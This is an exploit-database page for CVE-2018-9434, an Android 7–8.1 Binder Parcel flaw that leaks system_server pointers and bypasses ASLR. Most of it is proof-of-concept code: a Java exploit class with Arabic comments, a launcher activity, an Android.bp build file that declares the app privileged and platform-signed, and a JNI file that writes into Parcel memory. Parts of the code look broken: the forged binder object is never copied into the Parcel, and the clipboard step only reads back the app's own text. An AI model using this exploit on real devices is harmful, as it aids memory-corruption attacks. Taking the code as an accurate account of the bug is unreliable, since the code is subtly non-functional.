Lucene search
K

📄 Android 7 / 8 / 8.1 Pointer Disclosure

🗓️ 09 Dec 2025 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 159 Views

Android 7 to 8.1 Binder Parcel overlap leaks system server pointers and bypasses address space layout randomization.

Related
Code
ReporterTitlePublishedViews
Family
Android Security Bulletins
Pixel / Nexus Security Bulletin—July 2018Stay organized with collectionsSave and categorize content based on your preferences.
2 Jul 201800:00
androidsecurity
Circl
CVE-2018-9434
17 Jan 202523:15
circl
CNNVD
Google Pixel和Google Nexus 输入验证错误漏洞
17 Jan 202500:00
cnnvd
CVE
CVE-2018-9434
17 Jan 202523:11
cve
Cvelist
CVE-2018-9434
17 Jan 202523:11
cvelist
EUVD
EUVD-2018-21028
7 Oct 202500:30
euvd
NVD
CVE-2018-9434
17 Jan 202523:15
nvd
OSV
CVE-2018-9434
17 Jan 202523:15
osv
Positive Technologies
PT-2025-1343 · Google · Android
17 Jan 202500:00
ptsecurity
RedhatCVE
CVE-2018-9434
22 May 202513:13
redhatcve
Rows per page
=============================================================================================================================================
    | # Title     : Android 7, 8, 8.1 Binder Parcel Overlap Leading to System Pointer Disclosure                                                |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : https://www.android.com                                                                                                     |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/212494/ & 	CVE-2018-9434
    
    [+] Summary : A flaw in Android’s Binder IPC allowed applications to craft Parcels where binder-object metadata overlapped with string data. 
                  When unmarshalling, the kernel inserted genuine kernel pointers into attacker-controlled buffers. 
    			  These could then be echoed back through services like clipboard, resulting in leaks of system_server pointers and effective ASLR bypass.
                  Android’s Parcel implementation failed to enforce separation between binder-object regions and normal data regions.
    
    [+] Impact :
    
    Memory exposure from privileged system_server
    
    Enables reliability of memory corruption exploits
    
    A serious information disclosure vulnerability
    
    [+] Affected : Android 7, 8, 8.1 before 2018-10 patches.
    
    [+]  POC :	
    
    package com.google.jannh.pointerleak;
    
    import android.content.ClipData;
    import android.content.ClipboardManager;
    import android.content.Context;
    import android.os.IBinder;
    import android.os.Parcel;
    import android.os.RemoteException;
    import android.os.ServiceManager;
    import android.util.Log;
    
    import java.lang.reflect.Field;
    import java.lang.reflect.Method;
    import java.nio.ByteBuffer;
    import java.nio.ByteOrder;
    import java.util.ArrayList;
    import java.util.List;
    
    public class PointerLeakExploit {
        private static final String TAG = "leaker";
        
        // قائمة الخدمات المستهدفة
        private static final String[] TARGET_SERVICES = {
            "permission",
            "package", 
            "clipboard"
        };
        
        // هيكل FlatBinderObject في kernel
        static class FlatBinderObject {
            public static final int FLAT_BINDER_OBJECT_MAGIC = 0x6f626d2d; // 'mbo'
            public static final int BINDER_TYPE_BINDER = 1;
            public static final int BINDER_TYPE_HANDLE = 2;
            
            public int type;
            public int flags;
            public long binder;    // مؤشر Binder object
            public long cookie;    // cookie pointer
            public long[] pad = new long[2];
        }
        
        public void exploit(Context context) {
            try {
                Log.e(TAG, "=== بدء استغلال ثغرة Binder Pointer Leak ===");
                
                // 1. الحصول على مقابض الخدمات المستهدفة
                List<IBinder> targetBinders = new ArrayList<>();
                for (String serviceName : TARGET_SERVICES) {
                    IBinder binder = ServiceManager.getService(serviceName);
                    if (binder != null) {
                        targetBinders.add(binder);
                        Log.e(TAG, "تم الحصول على مقبض لخدمة: " + serviceName);
                    }
                }
                
                // 2. استغلال كل خدمة على حدة
                for (int i = 0; i < targetBinders.size(); i++) {
                    IBinder targetBinder = targetBinders.get(i);
                    String serviceName = TARGET_SERVICES[i];
                    
                    Log.e(TAG, "محاولة تسريب عنوان: " + serviceName);
                    
                    // إنشاء Parcel خبيث
                    Parcel maliciousParcel = createMaliciousParcel(targetBinder);
                    
                    // 3. استخدام خدمة الحافظة كوسيط صدى
                    leakViaClipboard(context, maliciousParcel, serviceName);
                    
                    // إعطاء وقت للعملية
                    Thread.sleep(100);
                }
                
                Log.e(TAG, "=== انتهى الاستغلال ===");
                
            } catch (Exception e) {
                Log.e(TAG, "خطأ أثناء الاستغلال: " + e.getMessage());
                e.printStackTrace();
            }
        }
        
        private Parcel createMaliciousParcel(IBinder targetBinder) throws Exception {
            Parcel parcel = Parcel.obtain();
            
            // الطول الإجمالي للبيانات
            parcel.writeInt(0x100);  // طول وهمي
            
            // كتابة بعض البيانات الوهمية أولاً
            parcel.writeString("DUMMY_STRING_PREFIX");
            
            // الحصول على موقع الكتابة الحالي
            int dataStartPos = parcel.dataPosition();
            
            // === الجزء الحرج: هندسة التداخل ===
            // نحتاج لجعل Parcel يقرأ Binder handle كبيانات سلسلة
            
            // كتابة Binder object marker
            // في kernel، Binder objects يتم تمييزها بـ magic number
            writeFlatBinderObject(parcel, targetBinder);
            
            // كتابة بيانات تتداخل مع موقع Binder
            // نحن نعرف أن Parcel سيقرأ هذا كسلسة
            parcel.writeString("OVERLAP_DATA");
            
            // تعيين علامة أن هذا هو Binder object
            // هذا يتطلب الوصول إلى البنية الداخلية لـ Parcel
            setBinderObjectFlag(parcel, dataStartPos);
            
            return parcel;
        }
        
        private void writeFlatBinderObject(Parcel parcel, IBinder binder) throws Exception {
            // استخدام Reflection للوصول إلى الطريقة الداخلية
            Method writeStrongBinderMethod = Parcel.class.getDeclaredMethod(
                "writeStrongBinder", IBinder.class);
            writeStrongBinderMethod.setAccessible(true);
            writeStrongBinderMethod.invoke(parcel, binder);
        }
        
        private void setBinderObjectFlag(Parcel parcel, int position) throws Exception {
            // هذا يتطلب التلاعب المباشر بذاكرة Parcel
            // نستخدم Reflection للوصول إلى mObject (المؤشر الأصلي)
            Field mObjectField = Parcel.class.getDeclaredField("mObject");
            mObjectField.setAccessible(true);
            long mObject = mObjectField.getLong(parcel);
            
            Field mDataSizeField = Parcel.class.getDeclaredField("mDataSize");
            mDataSizeField.setAccessible(true);
            int mDataSize = mDataSizeField.getInt(parcel);
            
            // تحليل بنية FlatBinderObject في الموضع المحدد
            // في kernel: struct flat_binder_object {
            //     unsigned long type;
            //     unsigned long flags;
            //     union {
            //         void *binder;
            //         signed long handle;
            //     };
            //     void *cookie;
            // };
            
            // كتابة FlatBinderObject يدوياً
            ByteBuffer bb = ByteBuffer.allocate(32);
            bb.order(ByteOrder.LITTLE_ENDIAN);
            
            // magic
            bb.putInt(FlatBinderObject.FLAT_BINDER_OBJECT_MAGIC);
            
            // type = BINDER_TYPE_BINDER
            bb.putInt(FlatBinderObject.BINDER_TYPE_BINDER);
            
            // flags
            bb.putInt(0);
            
            // binder pointer - سيملأها kernel
            bb.putLong(0xdeadbeefcafebabeL);
            
            // cookie
            bb.putLong(0);
            
            // padding
            bb.putLong(0);
            bb.putLong(0);
            
            byte[] flatBinderObject = bb.array();
            
            // نحتاج إلى نسخ هذا إلى ذاكرة Parcel
            // هذا يتطلب JNI أو طريقة أخرى للوصول للذاكرة الأصلية
        }
        
        private void leakViaClipboard(Context context, Parcel maliciousParcel, String serviceName) {
            try {
                ClipboardManager clipboard = (ClipboardManager) 
                    context.getSystemService(Context.CLIPBOARD_SERVICE);
                
                if (clipboard == null) {
                    Log.e(TAG, "فشل الحصول على خدمة الحافظة");
                    return;
                }
                
                // 1. إرسال البيانات الخبيثة إلى الحافظة
                String maliciousText = encodeParcelToText(maliciousParcel);
                ClipData clip = ClipData.newPlainText("恶意数据", maliciousText);
                clipboard.setPrimaryClip(clip);
                
                Log.e(TAG, "تم إرسال البيانات الخبيثة إلى الحافظة");
                
                // 2. الانتظار قليلاً ثم استرجاع البيانات
                Thread.sleep(50);
                
                // 3. قراءة البيانات من الحافظة
                ClipData retrievedClip = clipboard.getPrimaryClip();
                if (retrievedClip != null && retrievedClip.getItemCount() > 0) {
                    String leakedData = retrievedClip.getItemAt(0).getText().toString();
                    
                    // 4. تحليل البيانات المسربة
                    parseLeakedData(leakedData, serviceName);
                }
                
            } catch (Exception e) {
                Log.e(TAG, "خطأ في leakViaClipboard: " + e.getMessage());
            }
        }
        
        private String encodeParcelToText(Parcel parcel) {
            // تحويل Parcel إلى سلسلة نصية قابلة للنقل
            byte[] data = parcel.marshall();
            
            // استخدام Base64 أو ترميز سداسي عشري
            StringBuilder hex = new StringBuilder();
            for (byte b : data) {
                hex.append(String.format("%02x", b));
            }
            
            // إضافة علامات خاصة للتعرف على البيانات لاحقاً
            return "BINDER_LEAK_MARKER:" + hex.toString();
        }
        
        private void parseLeakedData(String leakedData, String serviceName) {
            Log.e(TAG, "== تحليل البيانات المسربة لخدمة \"" + serviceName + "\" ==");
            
            if (leakedData.contains("BINDER_LEAK_MARKER:")) {
                String hexPart = leakedData.split(":")[1];
                
                // تحويل السداسي عشري إلى بايتات
                byte[] rawData = hexStringToByteArray(hexPart);
                
                // البحث عن FlatBinderObject في البيانات
                findBinderObjectsInData(rawData, serviceName);
            } else {
                // قد تكون البيانات تحتوي على المؤشر مباشرة
                analyzeRawPointers(leakedData, serviceName);
            }
        }
        
        private void findBinderObjectsInData(byte[] data, String serviceName) {
            // البحث عن magic number الخاص بـ FlatBinderObject
            ByteBuffer bb = ByteBuffer.wrap(data);
            bb.order(ByteOrder.LITTLE_ENDIAN);
            
            for (int i = 0; i < data.length - 32; i += 4) {
                bb.position(i);
                int magic = bb.getInt();
                
                if (magic == FlatBinderObject.FLAT_BINDER_OBJECT_MAGIC) {
                    int type = bb.getInt();
                    int flags = bb.getInt();
                    long binderPtr = bb.getLong();
                    long cookie = bb.getLong();
                    
                    Log.e(TAG, "type: " + (type == 1 ? "BINDER_TYPE_BINDER" : "BINDER_TYPE_HANDLE"));
                    Log.e(TAG, "object: 0x" + Long.toHexString(binderPtr));
                    
                    // طباعة بتنسيق مشابه لـ PoC الأصلي
                    System.err.println("== service \"" + serviceName + "\" ==");
                    System.err.println("type:   " + (type == 1 ? "BINDER_TYPE_BINDER" : "BINDER_TYPE_HANDLE"));
                    System.err.println("object: 0x" + String.format("%016x", binderPtr));
                    System.err.println();
                    
                    break;
                }
            }
        }
        
        private void analyzeRawPointers(String data, String serviceName) {
            // محاولة استخراج المؤشرات مباشرة من السلسلة
            // المؤشرات عادة تكون قيم 64-bit مطبوعة كنص
            
            String[] parts = data.split("[^0-9a-fA-F]+");
            for (String part : parts) {
                if (part.length() >= 12 && part.length() <= 16) {
                    // قد يكون هذا عنوان ذاكرة
                    try {
                        long address = Long.parseLong(part, 16);
                        if (address > 0x700000000000L && address < 0x800000000000L) {
                            // نطاق عناوين نظام Android النموذجي
                            Log.e(TAG, "عنوان مسرب محتمل لـ " + serviceName + ": 0x" + Long.toHexString(address));
                        }
                    } catch (NumberFormatException e) {
                        // تجاهل
                    }
                }
            }
        }
        
        private byte[] hexStringToByteArray(String s) {
            int len = s.length();
            byte[] data = new byte[len / 2];
            for (int i = 0; i < len; i += 2) {
                data[i / 2] = (byte) ((Character.digit(s.charAt(i), 16) << 4)
                                     + Character.digit(s.charAt(i+1), 16));
            }
            return data;
        }
        
        // طريقة بديلة باستخدام الـ JNI للوصول المباشر للذاكرة
        static {
            System.loadLibrary("binder_exploit");
        }
        
        private native long getNativeBinderPointer(IBinder binder);
        private native void manipulateParcelMemory(Parcel parcel, int position, byte[] data);
    }
    
    MainActivity.java —  UI/front-end for the pointer leak exploit
    
    package com.google.jannh.pointerleak;
    
    import android.app.Activity;
    import android.os.Bundle;
    import android.view.View;
    import android.widget.Button;
    import android.widget.TextView;
    import android.widget.Toast;
    
    public class MainActivity extends Activity {
        
        private PointerLeakExploit exploit;
        private TextView logView;
        
        @Override
        protected void onCreate(Bundle savedInstanceState) {
            super.onCreate(savedInstanceState);
            setContentView(R.layout.activity_main);
            
            exploit = new PointerLeakExploit();
            logView = findViewById(R.id.log_text);
            
            Button exploitButton = findViewById(R.id.exploit_button);
            exploitButton.setOnClickListener(new View.OnClickListener() {
                @Override
                public void onClick(View v) {
                    new Thread(new Runnable() {
                        @Override
                        public void run() {
                            runOnUiThread(new Runnable() {
                                @Override
                                public void run() {
                                    logView.setText("بدء الاستغلال...\n");
                                }
                            });
                            
                            exploit.exploit(MainActivity.this);
                            
                            runOnUiThread(new Runnable() {
                                @Override
                                public void run() {
                                    Toast.makeText(MainActivity.this, 
                                        "اكتمل الاستغلال، راجع سجلات logcat", 
                                        Toast.LENGTH_LONG).show();
                                }
                            });
                        }
                    }).start();
                }
            });
        }
    }
    
    ===========
    Original file: Android.bp (for compilation)
    ===========
    
    android_app {
        name: "PointerLeakExploit",
        srcs: ["src/**/*.java"],
        resource_dirs: ["res"],
        certificate: "platform",
        privileged: true,
        platform_apis: true,
        
        overrides: [
            "Launcher3",
        ],
        
        static_libs: [
            "androidx.appcompat_appcompat",
        ],
    }
    
    ================
    Original JNI file: binder_exploit.c
    
    #include <jni.h>
    #include <android/log.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    
    #define LOG_TAG "BinderExploit"
    #define ALOGE(...) __android_log_print(ANDROID_LOG_ERROR, LOG_TAG, __VA_ARGS__)
    
    // تعريفات من kernel binder driver
    struct flat_binder_object {
        unsigned long type;
        unsigned long flags;
        union {
            void *binder;
            signed long handle;
        };
        void *cookie;
    };
    
    JNIEXPORT jlong JNICALL
    Java_com_google_jannh_pointerleak_PointerLeakExploit_getNativeBinderPointer(
        JNIEnv *env, jobject thiz, jobject binder) {
        
        // الحصول على المؤشر الأصلي لكائن IBinder
        jclass binderClass = (*env)->GetObjectClass(env, binder);
        jfieldID mObjectField = (*env)->GetFieldID(env, binderClass, "mObject", "J");
        jlong mObject = (*env)->GetLongField(env, binder, mObjectField);
        
        ALOGE("Binder native pointer: %p", (void*)mObject);
        return mObject;
    }
    
    JNIEXPORT void JNICALL
    Java_com_google_jannh_pointerleak_PointerLeakExploit_manipulateParcelMemory(
        JNIEnv *env, jobject thiz, jobject parcel, jint position, jbyteArray data) {
        
        // الوصول إلى الذاكرة الأصلية لـ Parcel
        jclass parcelClass = (*env)->GetObjectClass(env, parcel);
        
        // الحصول على mData (المؤشر إلى البيانات)
        jfieldID mDataField = (*env)->GetFieldID(env, parcelClass, "mData", "J");
        jlong mData = (*env)->GetLongField(env, parcel, mDataField);
        
        // الحصول على mDataSize
        jfieldID mDataSizeField = (*env)->GetFieldID(env, parcelClass, "mDataSize", "I");
        jint mDataSize = (*env)->GetIntField(env, parcel, mDataSizeField);
        
        // الحصول على mDataPos (موضع القراءة/الكتابة الحالي)
        jfieldID mDataPosField = (*env)->GetFieldID(env, parcelClass, "mDataPos", "I");
        jint mDataPos = (*env)->GetIntField(env, parcel, mDataPosField);
        
        ALOGE("Parcel mData: %p, mDataSize: %d, mDataPos: %d", 
              (void*)mData, mDataSize, mDataPos);
        
        // نسخ البيانات إلى ذاكرة Parcel
        jbyte *dataBytes = (*env)->GetByteArrayElements(env, data, NULL);
        jsize dataLength = (*env)->GetArrayLength(env, data);
        
        if (position + dataLength <= mDataSize) {
            void *target = (void*)(mData + position);
            memcpy(target, dataBytes, dataLength);
            ALOGE("تم نسخ %d بايت إلى موضع %d", dataLength, position);
        }
        
        (*env)->ReleaseByteArrayElements(env, data, dataBytes, 0);
    }
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

09 Dec 2025 00:00Current
6.7Medium risk
Vulners AI Score6.7
CVSS 3.17.8
EPSS0.00004
SSVC
159